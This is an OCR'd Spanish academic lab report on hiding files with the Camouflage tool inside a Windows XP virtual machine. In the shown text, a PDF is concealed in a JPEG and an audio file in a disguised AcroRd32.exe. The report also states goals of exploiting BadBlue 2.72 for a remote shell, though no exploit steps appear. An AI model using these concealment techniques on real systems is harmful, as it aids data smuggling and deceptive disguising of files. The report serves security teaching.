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1. INTRODUCCION

El presente informe documenta el proceso de investigacion y experimentacion en técnicas de
ofuscacion de archivos y explotacion de vulnerabilidades, realizado en un entorno controlado. En
la primera fase, se implemento el software Camouflage en Windows XP para ocultar archivos
sensibles dentro de archivos comunes como imégenes JPEG, documentos PDF y ejecutables. En
la segunda fase, se identificd y explot6 la vulnerabilidad BadBlue 2.72, utilizando Kali Linux
para obtener acceso remoto no autorizado al sistema Windows XP. Este trabajo tiene como
propdsito académico fortalecer los conocimientos en seguridad ofensiva y defensiva,
especificamente en técnicas de ocultamiento de informacidn y explotacion de servicios

vulnerables.
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2. OBJETIVOS

2.1 Objetivo general

Implementar técnicas de ofuscacion de archivos y explotar la vulnerabilidad de BadBlue
2.72.

2.2 Objetivos especificos

o Instalar y configurar el software Camouflage para el ocultamiento de archivos en
diferentes formatos.

e Ocultar archivos PDF, documentos Word, archivos de audio e imagenes JPEG.

o Identificar la vulnerabilidad de BadBlue 2.72 mediante escaneo de puertos y
Servicios.

e Ejecutar el exploit correspondiente para obtener una shell en el sistema Windows
XP vulnerable.

e Realizar actividades de post-explotacion para enumerar informacion del sistema

comprometido.
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3. ALCANCE

El alcance de este informe se limita al entorno académico de laboratorio, utilizando méquinas
virtuales con Windows XP y Kali Linux en VirtualBox. Las técnicas de ofuscacion se aplicaron
Unicamente a archivos de prueba, mientras que la explotacion de BadBlue se realiz6 contra una
instancia local del servicio. No se incluyen técnicas de evasion de antivirus, persistencia en el
sistema comprometido ni explotacion de vulnerabilidades adicionales. El informe se centra en
demostrar los conceptos fundamentales de ofuscacidn de archivos y explotacion de servicios

vulnerables, sin incluir aplicaciones maliciosas en entornos productivos.
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4. CAPITULO 1-OCULTAR FICHEROS EN WINDOWS XP CON
CAMOUFLAGE

4.1 Crear carpeta en el escritorio de tu PC fisico

Esta imagen muestra el escritorio del sistema operativo anfitrién (el PC fisico del
usuario), donde se ha creado una nueva carpeta. Esta accion es el paso inicial para preparar los
archivos que posteriormente seran ocultados utilizando la herramienta Camouflage dentro de

Windows XP. La carpeta servira como contenedor de los datos que se pretende camuflar.

BB docmv x +

¢ OneDrive » - [Escritorio > doc mv Buscarendoc Q

'E:' Nuevo ~ Tl ordenar ~ san [ Detalles

Indira Johana, U MNombre - Estado Fecha de modificacign Tipo

A2 B.0_AdbeRdr20_en_US Aplicacion

B Escritorio - wl Articulo /2025 9:03 a. m. Documento de P

| Descargas € badblue-pe-2.72a 7/11/2022 4:07 p. m. Aplicacion

81 Camoul? J05/2022 5:25 3. n Aplicacié
! Documentosy Ll Camoul2l 26/05/2022 9:25 a. m. Aplicacian

= 3 B ima gen 25 606 p. m. Archivo IPG
a Imigenes

@ Misics » 8 internet-explorer-8-para-xp- Aplicacion

EE PROPUESTA DE ANTEPROYECTO Microsoft Edge |

el Videos *

e & o & o o o o

_ Aplicacion
B Capturas de par

Bl ANTEPROYECT(

B EntreMapas

8 elementos |

lustracion 1. Carpeta en el escritorio del PC fisico

4.2 Insercién del CD de Complementos para Invitado de VirtualBox

En el mend de ""Dispositivos™ de la maqguina virtual Windows XP en VirtualBox, se debe

seleccionar la opcion "Insertar imagen de CD de los complementos del Invitado', un paso
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preliminar para mejorar la integracion entre el sistema anfitrion y el virtualizado, facilitando el

intercambio de archivos.

¥4 WINDOWS_XP [Corriendo] - Oracle VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

\’ 3 - . -
3 - | © Unidades opticas
.
» “ Audio

Red
USB

Oracle VirtualBox Camarasweb

Carpetas compartidas
Portapapeles compartido

Arrastrar y soltar

Insertar imagen de CD de los complementos del invitado...
Derore starting oetup, Nake It possible to upaate
relevant system files without having to reboot your
computer,

Click MNext to continue.,

[ Next = ] [ Cancel ]

— | — £,
i4 Inicio “ Oracle VirtualBox Gue... ES | O LA 2, 213

BONT #WES &0 CTRLDERECHA ;

lustracion 2. Insercion del CD de Complementos para Invitado de VirtualBox

4.3 Eleccion de la carpeta destino para los Complementos

La ventana muestra la etapa "Elegir ubicacion de instalacion”, donde se confirma la
carpeta destino predeterminada para la instalacion de los controladores y herramientas esenciales

para la integracion del sistema.
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Oracle VirtualBox Guest Additions 7.2.2 Setup

Choosze Install Location 0o
Choose the Folder in which ko install Cracle YirtualBox Guest Additions 7.2.2, “:

Setup will install Cracle virtualBox Guest Additions 7.2.2 in the Following Folder. To install in a
different Folder, dlick Browse and select another Folder, Click Mesxt to continue.

f

Destination Folder

C:\Archivos de programalioracle!virtualBox Guest Additions| | Browse..,

Space required: 673.0 KB
Space available: 18,5 GB

< Back Mext = Cancel

llustracion 3. Eleccion de la carpeta destino para los Complementos

Ahora se muestra la etapa "Elegir componentes". Aqui se pueden seleccionar las

caracteristicas a instalar, como las "Entradas en el menu Inicio". Se procede con la instalacion

estandar, marcando todas las opciones recomendadas.

Oracle VirtualBox Guest Additions 7.2.2 Setup

Choose Components
Choose which Features of Oracle YirtualBox Guest additions 7.2.2 vou want ta install, Q’:

Check the components you wank ko install and uncheck the components you don't want to
insktall, Click Install to stark the installation,

Descripkion

Select components ko install: et Addition
Direct3D Support (Experir
Start menu entries

Space required: 673.0 KB

[
|

< Back Install Cancel

lustracion 4. Seleccion de componentes de los Complementos para Invitado
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Oracle VirtualBox Guest Additions 7.2.2 Setup

Installing o
Please wait while Oracle WirtualBox Guest Additions 7.2.2 is being installed. Q’:

Executing: "Ci\Archivos de programalCraclelyiriualBox Guest Additions! ToolsiWBoxDreInst, ex

I 1 1 N N N N R R R W W NN N ]

PN
WBoxDrvInst 7.2.2 r170484 (verbosity: 01 (Sep 10 2025 18:45:09) release log (x36)

Log opened 2025-10-02T14:14:01, 7350544002

05 Product: Windows %P Professional

05 Release: 5.1,2600

05 Service Pack: 3 .
Executable; Ciharchivos de programalDraclelirkualBox Guest Additions!, Tools\WEoxD. ..
Process ID: 1272

Package bype: WINDOWS_32BITS_GEMERIC

Oracle YirtualBox Version 7.2.2 - r170484

Ilsing Windows wersion 5,1,2600 (x36)

Installing driver "C:archivos de programalOracletvirtualBox Guest Additions)YBoxwid. ..

(=

< Back, Mexk = Cancel

llustracién 5. Instalacion de Guest Additions

Muestra la ventana final de la instalacion de los Complementos para Invitado. El sistema
solicita reiniciar el equipo para completar la instalacion y cargar los nuevos controladores.
Seleccionamos la opcién ""Reboot now'" para proceder inmediatamente con el reinicio de la

maquina virtual Windows XP.

Oracle VirtualBox Guest Additions 7.2.2 Setup

Completing Oracle VirtualBox Guest
Additions 7.2.2 Setup

‘Your computer must be restarted in order to complete the
installation of Oracle virtualBox Guest Additions 7.2.2, Do
wal want ko rebook now?

(%) Reboat now

()T wank ba manually reboat later

lustracion 6. Finalizacion de la instalacion y solicitud de reinicio del sistema

pag. 15



4.4 Acceder a Carpetas compartidas para vincular la carpeta del anfitrion

Luego del reinicio accedemos a los archivos del sistema anfitrion desde la maquina
virtual. Para ello, seleccionamos "'Dispositivos' de la ventada de Windows XP, después la
opcion "Carpetas compartidas™ y por Gltimo en “Preferencias de carpetas compartidas”.
Este paso es crucial para agregar y compartir la carpeta especifica que se cre6 previamente en el
PC anfitrién, permitiendo que Windows XP dentro de la maquina virtual pueda acceder a los

archivos y programas almacenados en ella.

Archivo Maquina Ver Entrada Dispositivos Ayuda APLICACION DEL

- — REGLAMENTO ...
3 - © Unidades opticas
» -
)£ Audio

Papelera de

reciclaje Red

UsB

Cémaras web

Carpetas compartidas > W@ Preferencias de carpetas compartidas...
Portapapeles compartido

Arrastrar y soltar

Insertar imagen de CD de los complementos del invitado...

Upgrade Guest Additions...

lustracion 7. Acceso a la configuracion de Carpetas Compartidas para vincular la carpeta del anfitrion

Posteriormente le damos clic en el icono que tiene un mas.

## WINDOWS_XP - Settings

Basic Expert

General Nombre Ruta Acceso Automontar En  [ER
Carpetas globales

Sistema Carpef la maquina
Carpetas transitorias

Ade

Pantalla
Almacenamiento

Audio

Red Interfaz de usuario

Puertos serie

Appearance Mo ventana)

USB T
ar en pantalla completa/fluido

Carpetas compartidas ) ar en la parte superior de la pantalla

Interfaz de usuario : EoREISSEETE €0

Aceptar Cancelar Ayuda

lustracion 8. Afiadir la carpeta del anfitrion
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En la nueva ventana seleccionar la carpeta que deseamos compartir.

B capturasdey o

(+) Nuevo -

> Indira Johar

W Escritorio

- Descargas
E Documento
2 Imagenes
® Misica

—

¥ Videos

B Capturas de

Basic

@ [ 8 [

General Nombre Ruta

## Anfadir carpeta compartida
Sistema = P

Pantalla Ruta de la carpeta

Mombre de la carpeta
Almacenamiento _
Mount Point

Audio

Red || Automontar
|__| Make Machine-permanent

Fuertos serie () Make Global

USB | Aceptar | Cancelar

Carpetas compartidas

B ANTEPROY E Interfaz de usuario ] CN-A -k

Bl EntreMapas

09 elementos | 1

Aceptar

lustracion 9. Seleccion de la carpeta del anfitrion para compartir

En este caso, se identifica una carpeta en el Escritorio llamada "doc_mv" que contiene los

archivos. También activamos las opciones “Automontar” y “Make Machine-permanent”.

had

Ruta de la carpeta B \Users\l...scritorio\doc_mv
MNombre de la carpeta doc_mv
Mount Point

|| Sélo lectura

@ Automontar

ﬁz:l Make Machine-permanent
() Make Global

Aceptar Cancelar

lustracion 10. Seleccion de la carpeta del anfitrion para compartir

pag. 17



4.5 Menu Inicio de Windows XP

Hacemos clic en el Men( Inicio de Windows XP y luego en ""Mi PC"* para observar una
nueva unidad de red identificada como "*doc_mv en "VBoxSvr' (Z:)", confirmando que el

recurso compartido se ha montado correctamente.

a Internet ) Mis documentos
Internet Explorer b -
. { ébotumentos recientes »
[#"5] Correo electrénico
SI‘ Outlook Express ﬁ O
Mis imagenes
— ) 2 S
Simbolo del sistema =/ Mi musica
g’ Mi PC
\g M5
_ B’ Panel de control
® Reproductor de Windows

Media 7. Configurar acceso v

@ Paseo

j) No se pueden mostrar algunos elementos

Mo hay espacio suficiente para mostrar todos los elementos que ha anclado al
mend Inicio. Para que pueda mostrarlos, elija iconos de mend mas pequefios, elija
una cantidad menor de elementos o desancle algunos elementos.

).) Buscar

D 71 Fieruitar. ..

e su equipo esté en riesgo

or de sequridad esta activado
antivirus no esté instalado

3 2z (7 .
il -t | O ) TR T globo para solucionar este problema,

Todos los programas

‘4 Inicio Es | @2, % 2 a9
BONT #ME LTS 65 CTRLDERECHA

llustracion 11. Menu Inicio de Windows XP

4.6 Visualizacion de la unidad de red en Mi PC

Al abrir ""Mi PC"" en Windows XP, se confirma la presencia de la unidad de red
"doc_mv en "VBoxSvr' (Z:)" junto a las unidades locales y el CD de VirtualBox Guest

Additions. Esto verifica que el sistema reconoce la carpeta compartida.
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ko3

Tareas del sistema

Wer informacian del siskema Unidades de disco duro

jﬁ agregar o quikar prograrmas

-

E} Cambiar una configuracion @" 1 a Disco local (C:)

Otros sitios . - .
Dispositivos con almacenamiento extraible

id Mis sikios de red

B il cloe s YirtualBox: Guest Additions (D:)
[ Documnentos compartidos

Bp Panel de control

Unidades de red

Detalles p——
i doc_mv en "WBoxSwr" (213
Mi PC =
Carpeta del sistema —
w | w
+5 Inicio P mirc Es S
lHustracion 12. Visualizacion de la unidad de red en Mi PC
Se accede a la unidad Z: (carpeta compartida) y se visualiza su contenido.
= doc_mv en "VBoxSvr” (Z:) |Z||: X|
Archivo  Edicion Wer  Favoritos  Herramientas  Avuda ;ﬂ"
@ Akras - l'\_) L‘E p Busqueda HZ‘ Carpetas v
Direccidn | 58 24 v| Ir
i [ i h Articulo, docx
Tareas de archivo y carpeta I'S‘: 8.0_AdbeRdrE0_en_ LS archiva DOCY
o~ 40 KB
@ Publicar esta carpeta en Wweb
Carnoul2l

::31 badblue-pe-2.72a
Otros sitios -

a Mi P imagen internet-explorer-8-para-xp-
: ﬁ 1200 = 1600 archivo.cab autoestraible
[} Mis documentos Imagen JPEG Micrasoft Corporation

[ Documentos compartidas

& Mis sitios de red PROPUESTA DE o)
ANTEPROYECTO, pdf vlc-3.0,18-win32
Archivo POF

Detalles

juewes, 02 de octubre de 2025

9:28

1 -
i .‘-’ 5 Oc_T i =

llustracion 13. Contenido de la carpeta compartida desde la maquina virtual
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Hacemos clic derecho sobre uno de los archivos dentro de la carpeta compartida (Z:) y le

damos clic en "Copiar".

- m Abrir

Ervviar a

k

Cortar

I Capiar I

Crear acceso direcko
Eliminar
Zambiar nombre

Propiedades

lustracién 14. Copiar archivos de la carpeta compartida

Luego lo pegamos en el escritorio de Windows XP. (Hacemos eso con todos los archivos

que estan en la carpeta compartida).

'+ Inicio

= doc_mv en "YBoxSwvr"...

ANTEPROYECT,
o pdf

-
PROPLIESTA! &-\

= Organizar iconos

Actualizar

| Pegar I

Peqar acceso directo
Deshacer Copiar Ctrl+2

MNuevo

Propiedades

llustracion 15. Copiar archivos de la carpeta compartida

pag. 20



Otra forma de pegar los archivos al escritorio también es arrastrando los archivos al

escritorio con clic sostenido.

Herramientas

pBﬂsqueda u_:“ Carpetas v

Direccidn [3 z:

[EEL | PR

:13» badblue-pe-2.72a Camoul21l

imagen internet-explorer-8-para-xp-
1200 x 1600 Archivo.cab autoextraible
Imagen JPEG Microsoft Corporation

PROPUESTA DE A
ANTEPROYECTO. pdf / vle-3.0.18-win32
Archivo PDF

llustracion 16. Otra forma de copiar archivos de la carpeta compartida

4.7 Instalacion de Adobe Reader en Windows XP

Proceso de instalacién de Adobe Reader 8 dentro de la maquina virtual, esto es un paso

previo para asegurar que se tienen los visualizadores necesarios para los archivos PDF.
“2 Adobe Reader B - Setup

.=

Please wait while the Adobe Reader 8§ Setup is being processed. This will take some time
depending on your operating system and hardware.

Processing Adobe Reader & ...

Camoul2l

[netopsystems] Resume

.',’ Inicio = doc_mv en "YBoxSvr"... L. Adobe Reader 8 - Setup

llustracion 17. Instalacion de Adobe Reader en Windows XP
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Muestra la ventana el Adobe Reader 8 en el estado "Listo para instalar el programa”.

Hacemos clic en el botdon "Install*.

Papelera de
reciclaje

-~

BiD2AdbeRdr.

i Adobe Reader B - Setup

i

Ready to Install the Program

Click Install to begin the installation.

If you want ko review or change any of your installation folder, click Back. Click Cancel to
exit setup.

r—
[ < Back ]I Install ] [ Cancel

l

llustracion 18. Pantalla final de instalacién de Adobe Reader 8

4.8 Instalacion de BadBlue Personal Edition

Pantalla de bienvenida de la instalacion de BadBlue Personal Edition 2.72. Hacemos clic

en ""Next" para proceder con la instalacion.

Welcome to the BadBlue Personal
Edition 2.72 Setup Wizard

This wizard will guide vou through the installation of BadBlue
Personal Edition 2,72,

1t is recommended that vou close all ather applications
before starting Setup. This will make it possible to update
relevant system files without having to rebook your
computer,

Click Mext to continue,

llustracién 19. Instalacion de BadBlue Personal Edition
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Progreso de la instalacion de BadBlue, donde se extraen archivos PHP y se crean accesos
directos en el escritorio y menu de inicio. Al final, se pregunta al usuario si desea que el sitio

web se inicie automaticamente al ingresar al sistema y damos clic en “Si”.

1 i 2a ] [ 4]
€ BadBlue Personal Edition 2.72 Setup

6 ﬁ ﬁ Installing
e Please wait while BadBlue Personal Edition 2,72 is being installed,
g podirlvng. sfaning

Create shorkcut: C\Documents and Settingsiwayner_antonio_mova_\EscritorioBadBlue Pers:
[IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII ]

Extract: SQinit.php... 100% ~
Extract; SOtest,.php, .. 100% D |
Extract: SOwordies -

SN < BadBlue Personal Edition 2. 72 Setup
Extract:

Extract: Aukornatically start your web site each time wou login?

Exkract: 4

Exkract: 5 Mo

Exkract:

Create Folder: C e TR e x Lal1n11 = duTn IO

Create shorkcut: C\Documents and Settlngs'l,wa\,fner ankanio mnya_‘l,Menu Inlclo'l,Pr
Create sharkcut; C\Documents and Settingsiwayner_antonio_moya_\Escritorio\Bad. ..

Mullsaft Install System w2, 06

< Back

llustracion 20. Proceso de instalacion de BadBlue Personal Edition

4.9 Descompresion del archivo Camoul21.exe

Ventana del descompresor WinZip para el archivo Camoul21.exe. Hacer clic en Unzip.

8.0 AdbeRdr.
WinZip Self-Extractor - Camou121.exe
To unzip all files in Camoul21.exe to the specified | :
folder press the Unzip button. ’E

RunWinZip

Unzip to folder:
WWAYNER™1A\CONFIG™145Tem Browse... | Close

7 S : :
51 IV Dvenwrite files without prompting About

Help

IV When done unzipping open: Setup.exe I

E
k-
—

lHustracion 21. Descompresion del archivo Camoul21.exe
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4.10 Pantalla de bienvenida de la instalacién de Camouflage

) Camouflage v1.2.1 Setup

Camouflnae

Welcome

Wwielcome ta the Camouflage Setup program. This
program will install Camouflage on wour computer.

Itig strongly recommended that you exit all Windows programs
befare running thiz Setup program.

Click Cancel to quit Setup and then cloge any programs you
have mnning. Click Mext to continue with the Setup progran,

WARMIMG: This program is protected by copyright law and
international treaties.

Unauthanized reproduction or distribution of thiz program, or any

partion af it, may result in severe civil and criminal penalties, and
will be prozecuted to the maximum extent pozsible under law.

llustracion 22. Instalacion de Camouflage

=

21 Camouflage v1.2.1 Setup
Camouflmoz
Setup Complete

Setup haz finished inztaling Camouflage on your computer.

Setup can launch the Read Me file and Camouflage Settings,
Chooze the options you want below.

W “es. | want to view the Read Me file now.

[ *es. | want to change Camouflage's Settings now.

Click Finizh to complete Setup.

llustracion 23. Finalizacion de la instalacion de Camouflage
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4.11 Instalacion de VLC media player

=29

Bienvenido al Asistente de
Instalacién de VLC media player

Este programa instalara YLC media player en su ordenador,
Se recomienda que cierre todas las demés aplicaciones antes
de iniciar la instalacién. Esto haré posible actualizar archivos
relacionados con el sistema sin tener que reiniciar su
ordenador.

Presione Siguiente para continuar.

Camoulz2l

|Siguiente>| | Cancelar |

‘4 Inicio = doc_my en "VBoxSvr"... A Instalacion de YLC m...

llustracion 24. Instalacion de VLC media player

Ventana donde se puede elegir la ubicacién de instalacién de VLC media player.

&, Instalacion de YVLC media player

Elegir lugar de instalacion
Elija el directorio para instalar YLC media player.

El programa de instalacién instalara YLC media player en el siguiente directorio. Para instalar
en un directorio diferente, presione Examinar y seleccione otro directorio. Presione Instalar
para comenzar la instalacién.

Directorio de Destino

Camoulel "
o ::\Archi'-.-'njs de VideoLANIWLC | [ Examinar. .. ]

ry
- Espacio requerido: 170.7 MB
Espacio disponible: 18.3 GB

YideoL&N YLC media plaver

< Atrés i Instalar ‘Il Cancelar

llustracion 25. Seleccién de directorio de instalacion de VLC
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Reproductor VLC media player abierto y funcionando correctamente en el escritorio de

Windows XP, confirmando que la instalacién fue exitosa.

& Keproaucior muinmeaia v
m Medio Reproduccién  Audio Video Subtitulo  Herramientas Ver Ayuda

lustracién 26. VLC media player ejecutandose en Windows XP

4.12 Términos de licencia de Internet Explorer 8

Pantalla de aceptacion de los términos de licencia para la instalacion de Windows Internet

Explorer 8, requisito obligatorio para poder continuar con la instalacion del navegador.

TERMINOS COMPLEMENTARIOS DE LA LICENCIA DE
SOFTWARE DE MICROSOFT

MICROSOFT WINDOWS INTERNET EXPLORER 8 PARA
MICROSOFT WINDOWS xP, WINDOWS VISTA, WINDOWS
SERVER. 2003 ¥ WINDOWS SERVER 2008

Microsoft Corporation (o, en Funcidn del lugar en el que resida, una de sus filiales) le concede la
licencia para este complemento. Siobtiene la licencia para utlizar el saftware Microsoft Windows
#P, Windows Vista, Windows Server 2003 o Windows Server 2008 (al que se aplica este
suplementa), en adelante el "Software", podré utilizar este suplementa, Mo puede usarlo si no
disnnne de lircenria nara @l snfhware. Padea otilizar estr ramnlermentn con cada conia walidamenke

[m= ersidn pata imprimir [ Acepto ] [ Mo acepto

+y Inicio r: doc_ it /= Instalar Windows Int...

lustracion 27. Términos de licencia de Internet Explorer 8
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4.13 Escritorio con accesos directos de programas instalados

Escritorio de Windows XP con los accesos directos de todos los programas instalados

exitosamente: Adobe Reader, BadBlue, Camouflage, VLC media player e Internet Explorer.

>

Personal Edition

internet-exp...

: " "‘”cio :: doc_mv en "V

llustracion 28. Escritorio con accesos directos de programas instalados

4.14 Ver propiedades de la imagen

Hacemos clic derecho sobre la imagen y seleccionamos “propiedades”.

Yista previa
Editar
Imnprirmir

R Camouflage
EAuUncamouflage
Abrir con

Enviar a

Cortar
Copiar

Crear acceso directo
Eliminar

- ‘ Cambiar nombre

Propiedades

lustracion 29. Ver propiedades de la imagen
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Ventana de propiedades de un archivo JPEG, donde se pueden ver sus detalles, nos

fijaremos en su tamafio el cual es de 142KB.

‘ Propiedades de imagen

General | Resumen |

!i] I imagen

Tipo de archivo: Imagen JPEG
Se abre con: [‘5] Visor de imagenes y

Ubicacién: C:\Documents and Settings\wayner_antonio_moy.

Tamafio: 142 KB (146,105 bytes)

Gamouio1 Tamarfio en disco: 144 KB (147,456 bytes)

Creado: jueves, 02 de octubre de 2025, 9:20:32
Modificado: viernes, 05 de septiembre de 2025, 18:06:19

Ultimo acceso: jueves, 02 de octubre de 2025, 9:20:32

Atributos: [[]sélo lectura []oculto

lustracion 30. Ventana de propiedades del archivo de imagen

4.15 Camuflar archivo PDF en una imagen JPEG

Ahora hacemos clic derecho en el archivo PDF y seleccionamos la opcidn
""Camouflage™, para hacer el procedimiento de ocultamiento de archivos.

PRO Open with Adobe Reader 8
AN TEPR G
Impririr

E3Uncamouflage
Abrir con...

Enviar a

. m_)

Cortar
Adobe Reader i Copiar

Fersonal E
Crear acceso directo |
Eliminar -
Cambiar nombre

Propiedades

llustracion 31. Camuflar un archivo PDF
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Ventana de Camouflage mostrando los archivos seleccionados para ser ocultados, en este
caso seleccionaremos el archivo ""PROPUESTA DE ANTEPROYECTO.pdf".

Camouflage

Thesze filez will be hidden within your camaouflaged file.

Settings

I arne
‘PROPIJESTA DE AMTEPROYECTO. pdf

Aticulo.docy

206 KB

Attributes

|II'I||

Click here to get the latest version

llustracién 32. Seleccion del archivo PDF a camuflar

En la nueva ventana seleccionar la imagen que servird como camuflaje, haciendo que los

archivos ocultos parezcan ser este archivo JPEG.

E
Select file to use as camouflage

=[]

NILETTIELEX, .

Buscar en: | @ Escritorio j L= ﬁf( Ea-
._" ) Mis documentos
l é 4 MipC
Dacumentos  |SdMis sitios de red
IEEIAIES ﬂ Adobe Reader 8
@ é YLZ media plaver
- B} :.0_ndberdran_en_Us
E scritorio Articula,docx:
= =% BadBlus Personal Editian
’) B badblue-pe-2,72a
Mis documen !
iz documentos
agen
= Ternet-explorer-S-para-xp-
g! -E PROPUESTA DE AMTEPROYECTO
Mi PC s vIe-3.0,18-win32
F@
Wiz zitioz de red  Mombire; |imagen j
Tipo: |AII Files j Cancelar

llustracién 33. Eleccion del archivo donde se va a camuflar el PDF
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Camouflage confirma que se utilizara el archivo "imagen™ ubicado en el escritorio.

Camouflage

Your camouflaged filez will be made to look and act like the fallawing file.

Camauflage |sing C:ADocuments and Settingzwapner_antonio_moya_E zcritoriohima ﬂ J

Click here to get the latest version

lustracion 34. Confirmacion del archivo de camuflaje

Definir el nombre del archivo camuflado como "imagen_wpp.jpg"* o el nombre que

desees y marca la opcion ""Read-only™".

Camouflage

Chooze the location and filename for the camouflage file that is about to be created.

Create This File |nts and Settingzshwapner_antonio_maya_“E scritariofirmagen_wpp. jp ﬂJ

v Read-only

Click_here to get the latest version

llustracion 35. Definir nombre del archivo camuflado

Establecer una contrasefia que proteja el acceso a el archivo camuflado.
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72 Camouflage

Enter a zecurnity pazsword for pour camouflaged file if pou wish.

Ixxxxxxxx

Pazsword

Werify Pazsword

Click here to get the latest version

llustracion 36. Establecimiento de contrasefia de seguridad

El escritorio de Windows XP muestra el nuevo archivo "imagen_wpp"* creado, que

visualmente parece una imagen, pero contiene los archivos ocultos.

N

imagen_wpp

A

Pas

-~

2.0 AdbeRdr,.,

> )
W& = fﬁ)“
AG5CbIdEpE= Ado ader 5

Fersonal Edition

CGamouizl YLC media
player

llustracion 37. Escritorio mostrando el archivo camuflado creado

Abrir el archivo "imagen_wpp" con el Visor de imagenes y fax de Windows, mostrando

la imagen original seleccionada como camuflaje, demostrando su apariencia normal.
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Imagen_w

Pt

- Visor de imagenes y fax ... E]

aat | X o HEE

' Inicio == doc_mv en "¥BoxSvr"... % imagen_wpp - Visor d...

llustracion 38. Archivo camuflado abierto como imagen

Al hacer clic derecho sobre "imagen_wpp"*, el menu contextual muestra la opcion

"Propiedades".

Yista previa
Editar
Imprimir

EaCamouflage
EAUncamouflage
Abrir con

Enviar a K . 33
- a_)

Cortar

Copiar sonal Edition

Crear acceso directo
Eliminar

Cambiar nombre
Camoulz]

lustracion 39. Ver las propiedades de la imagen camuflada
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Ventana de propiedades de *'imagen_wpp"* mostrando que el archivo tiene de tamafio

389 KB, pesa mas que la imagen anterior, ya que contiene el documento oculto.

Propiedades de imagen_wpp

General Resumen ’

ﬂ | imagen_wpp

Tipo de archivo: Imagen JPEG
Se abre con: @ Visor de imagenes v

Ubicacién: C:\Documents and Settings\wayner_antonio_moy.

Tamafio: |339 KB (398,620 bytes) |

Tamafio en disco: 392 KB (401,408 bytes)

Camouizl
Creado: jueves, 02 de octubre de 2025, 9:20:32

Modificado: viernes, 05 de septiembre de 2025, 18:06:19

Ultimo acceso: jueves, 02 de octubre de 2025, 10:29:01

Atributos: Sélo lectura [] Oculto

llustracion 40. Propiedades del archivo camuflado

4.16 Camuflar un archivo de audio de WhatsApp en Adobe Reader

Hacer clic derecho sobre el archivo de audio y seleccionar la opcién “Camouflage”.

Reproducir
Afiadir a la lista de ¥LC
Reproducir con YLC

Uncamouflage
Abrir con...

Enviar a

Cortar
Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Gamotizl fudio Propiedades

bd0a

llustracién 41. Camuflar un archivo de audio
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Camouflage muestra que se ha seleccionado el archivo de audio para ser ocultado.

Camouflage

This file will be hidden within your camouflaged file. Settings

Size | Aftributes

Click here to get the latest version < Back Cloze

lustracion 42. Seleccion del archivo de audio para camuflar

Seleccionar el archivo de Adobe Reader como archivo de camuflaje para el audio de
WhatsApp.

Select file to use as camouflage

Buscar en: I@ Escritorio LI « & B

= hDMis documentos é vlc-3.0,18-win32
Q 4 MiPC
Docqmentos L) Mic citios de ved
rementgs : Adobe Reader 8
e YLC media player

B8 5.0_adberdra0_en_Us

Esciitorio Articulo.docx
= &4 Audio de WhatsApp 2025-10-02 a las 10.33.23_8f3%bd0a
J = BadBlue Personal Edition HD
Mis &ocumenlos Bbadluepe-2.72a
C@ Camoul2l
% @imagen
g\_l @ imagen_wpp
MiBC Binternet-explorer-B-para-xp-
"2 PROPUESTA DE ANTEPROYECTO
1 < >
Mis sitios de red  Nombre: IAdobe Reader 8 L]
Tipo: IAII Files _v_’ Cancelar

NILETHIELEXH

Espafiol (alfabetizacion internacional)

e 4 Inicio = doc_mv en "VBoxSv... %+ Camouflage R4 Selectfiletouse as... [ES [yl 1% 10:34

lHustracion 43. Eleccion del archivo donde se va a camuflar el audio de WhatsApp
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Camouflage confirma que utilizara el archivo de Adobe Reader como camuflaje para el

archivo de audio.

“2 Camouflage

Your camouflaged file will be made to look and act like the following file.

-—
Camnuflage L zing C:hdrchivos de programatbdobeReader 3.05R eadtr‘uﬁ.cmH d3z.e

Click here to get the latest verzion

lustracién 44. Confirmacion del uso de Adobe Reader como camuflaje

Se configura una contrasefia de seguridad para proteger el archivo camuflado que

contiene el audio de WhatsApp.

Camouflage

Enter a zecurnty pazsward for your camouflaged file if pou wizh.

HREXHHHN

Paszword

xxxxxxx71

Werify Pazsword

Click_here to get the latest verzion

llustracion 45. Establecimiento de contrasefia para camuflar el audio

El escritorio muestra el nuevo archivo "*AcroRd32" creado, que parece el archivo de

Adobe Reader, pero contiene el audio oculto.
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[
A

J,
2
Adobe Reader

2]
3
fa]y!

q
PErs

» .
-

jueves, 02 de octubre de 2025

ES P2y 1T 10:35

llustracion 46. Escritorio mostrando el archivo camuflado

417 Descamuflar un archivo camuflado

Hacer clic derecho sobre ""AcroRd32" y seleccionar la opcién “Uncamouflage”,
permitiendo descamuflar el contenido.
Abrir

Ejecutar como...
EacCamouflage

Anclar al mend

Enviar a

Cortar
Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Propiedades

AcroRd32

llustracion 47. Descamuflar archivo camuflado

Ventana de Camouflage solicitando la contrasefia para extraer los archivos del archivo
camuflado ""AcroRd32".
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=)

Settings

%3 Camouflage Z

Enter the password [if any] ta extract the files from the camouflaged file.

s

Fazzward

Click_here to get the latest version

lustracion 48. Proceso de descamuflaje - ingreso de contrasefia

Camouflage muestra los archivos contenidos dentro del archivo camuflado, el propio
"AcroRd32.exe" y el ""Audio de WhatsApp".

#2 Camouflage : E| E|

The camouflaged file [created with Camouflage +1.2.7] contains theze files, Select the files you
wizh o extract or leave them unzelected to extract them all

M arne Size | attributes
AcroRd32 ene JIBER A
Audio de Whatstpp 2025-10-02 = las 10.33.23_8f33bd... J7TKB A

Click here to get the |atest version

lustracion 49. Visualizacion de archivos contenidos en el camuflaje

Seleccionar la carpeta donde se extraeran los archivos ocultos del archivo camuflado.

%2 Camouflage |Z| |§| {zl

Chooze the folder where the files are to be extracted.

Extract To Folder

Click here to get the latest wersion < Back Finish Cloze

llustracion 50. Seleccion de carpeta de extraccion
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&

Crear la carpeta "*docs2" en el escritorio como destino de la extraccién haciendo clic

derecho y seleccionando la opcion “Carpeta”.

=

&_’l

Documentos
Iecientes
?I__:

Escritorio

L-/

Wiz documentos

Miz gitios de red

(LN [ f = Bl 3 P

Camouflage confirma que los archivos seran extraidos a la carpeta ""docs2" en el

escritorio.

Select an output folder,

Guardar er: | @ E zeritario

[

cF E2-

Mis documentos
Ymipc

‘QMis sitios de red

B Adobe Reader &

é WLC media plaver

B z.0_sdberdra0_en_Ls
B ocrordaz

Articulo, docx

£ Audio de WhatsApp 200
& BadBlue Personal Editiol
B badblue-pe-2.72a

@ CamoulZl

[l'j imagen

[l’j imnagen _wpp
Einternet—explnrer—s—par

<

@ Acceso directo

a Maletin

& Imagen de mapa de bits
Diocurnento de Wordpad

